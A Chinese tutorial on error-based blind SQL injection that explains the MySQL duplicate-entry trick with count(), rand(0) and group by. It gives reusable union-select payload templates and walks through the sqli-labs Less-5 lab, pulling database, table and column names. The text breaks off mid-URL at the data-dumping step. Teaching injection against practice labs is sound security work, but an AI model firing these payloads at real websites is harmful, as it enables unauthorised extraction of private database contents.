sql盲注之报错注入(附自动化脚本)

 

作者：__LSA__

0x00 概述

渗透的时候总会首先测试注入，sql注入可以说是web漏洞界的Boss了，稳居owasp第一位，普通的直接回显数据的注入现在几乎绝迹了，绝大多数都是盲注了，此文是盲注系列的第一篇，介绍盲注中的报错注入。

0×01 报错注入原理
其实报错注入有很多种，本文主要介绍几种常见的报错方法，有新姿势后续再更新。

1. Duplicate entry报错：

一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。

关键是查询时会建立临时表存储数据，不存在键值就插入，group by使插入前rand()会再执行一次，存在就直接值加1，下面以rand(0)简述原理：

首先看看接下来会用到的几个函数

Count()计算总数

Concat()连接字符串

Floor()向下取整数

Rand()产生0～1的随机数

rand(0)序列是011011

1. 查询第一条记录，rand(0)得键值0不存在临时表，执行插入，此时rand(0)再执行，得1，于是插入了1。

2. 查询第二条记录，rand(0)得1，键值1存在临时表，则值加1得2。

3. 查询第三条记录，rand(0)得0，键值0不存在临时表，执行插入，rand(0)再次执行，得键值1，1存在于临时表，由于键值必须唯一，导致报错。

由上述可得，表中必须存在大于等于3条记录才会产生报错，实测也如此。

一些报错查询语句(相当于套公式)：

假设字段数是3

经典语句：

union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+

version()可以替换为需要查询的信息。

简化语句：

union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+

如果关键的表被禁用了，可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

Sqli-labs less5测试:

1. 获取库名：

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

2.获取表名：

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

3. 获取列名：

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

4. 爆数据：

192.168.43.173:8999/sqli